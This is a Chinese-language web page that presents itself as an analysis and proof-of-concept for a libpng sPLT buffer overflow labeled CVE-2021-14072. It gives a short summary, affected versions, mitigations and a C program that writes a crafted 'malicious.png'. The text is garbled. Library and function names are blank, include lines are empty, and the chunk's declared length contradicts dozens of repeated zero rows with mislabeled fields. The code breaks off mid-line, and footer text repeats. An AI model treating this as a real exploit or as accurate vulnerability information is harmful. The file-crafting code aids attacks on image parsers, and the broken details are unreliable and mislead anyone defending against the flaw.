libpng sPLT 缓冲区溢出 (CVE-2021-14072) 漏洞分析与 POC

CVE-2021-14072 漏洞总结 漏洞概述 漏洞编号: CVE-2021-14072 漏洞类型: 缓冲区溢出（Buffer Overflow） 受影响组件: 库中的 函数 漏洞描述: 在处理 sPLT（选择性调色板）块时，由于未正确验证输入数据长度，导致堆栈缓冲区溢出。攻击者可以构造恶意的 PNG 文件，触发此漏洞，从而可能执行任意代码或导致服务崩溃。 影响范围 受影响版本: 1.6.37 及更早版本 受影响产品: 使用 库的软件，包括但不限于图像查看器、浏览器、图形编辑工具等。 CVSS 评分: 9.8（严重） 修复方案 官方补丁: 升级到 1.6.38 或更高版本。 临时缓解措施: - 限制用户输入的文件大小。 - 使用沙箱环境运行处理 PNG 文件的程序。 - 禁用 sPLT 块的处理功能（如果业务允许）。 POC 代码 ```c #include #include #include int main() { FILE *f = fopen("malicious.png", "wb"); if (!f) { perror("fopen"); return 1; } // PNG signature unsigned char png_signature[] = {0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A}; fwrite(png_signature, 1, 8, f); // IHDR chunk unsigned char ihdr_chunk[] = { 0x00, 0x00, 0x00, 0x0D, // Length 0x49, 0x48, 0x44, 0x52, // Type (IHDR) 0x00, 0x00, 0x00, 0x01, // Width 0x00, 0x00, 0x00, 0x01, // Height 0x08, 0x06, 0x00, 0x00, 0x00, // Bit depth, color type, compression, filter, interlace 0x1F, 0x15, 0xC4, 0x89 // CRC }; fwrite(ihdr_chunk, 1, sizeof(ihdr_chunk), f); // sPLT chunk with malicious data unsigned char splt_chunk[] = { 0x00, 0x00, 0x00, 0x0F, // Length 0x73, 0x50, 0x4C, 0x54, // Type (sPLT) 0x00, 0x00, 0x00, 0x00, // Palette name (empty) 0x00, 0x00, 0x00, 0x00, // Number of palette entries (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green, Blue, Alpha (0) 0x00, 0x00, 0x00, 0x00, // Red, Green,

目标达成感谢每一位支持者 — 我们达成了 100% 目标！

libpng sPLT 缓冲区溢出 (CVE-2021-14072) 漏洞分析与 POC

同源更多文章

目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

libpng sPLT 缓冲区溢出 (CVE-2021-14072) 漏洞分析与 POC

同源更多文章

目标达成感谢每一位支持者 — 我们达成了 100% 目标！